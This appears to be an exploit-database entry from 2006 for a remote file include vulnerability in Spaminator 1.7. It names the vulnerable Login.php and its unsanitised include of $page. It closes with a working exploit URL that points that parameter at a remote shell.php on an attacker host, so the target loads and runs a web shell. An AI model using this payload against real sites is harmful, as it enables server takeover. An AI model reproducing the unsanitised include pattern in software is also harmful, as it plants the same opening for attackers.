Spaminator <= 1.7 (page) Remote File Include Vulnerability

2006-08-10T00:00:00
ID 1337DAY-ID-676
Type zdt
Reporter Drago84
Modified 2006-08-10T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ==========================================================
Spaminator <= 1.7 (page) Remote File Include Vulnerability
==========================================================



Spaminator 1.7. ($page) Remote File Include
CreW: ToXiC

BuG Found By Drago84

Page Affect is:
/src/Login.php

Problem is
   include "$page.php";

Path :
Declare $page

ExpL:
http://www.site.com/dir_spaminator/src/Login.php?page=http://www.evalsite.com/shell.php?




#  0day.today [2018-01-10]  #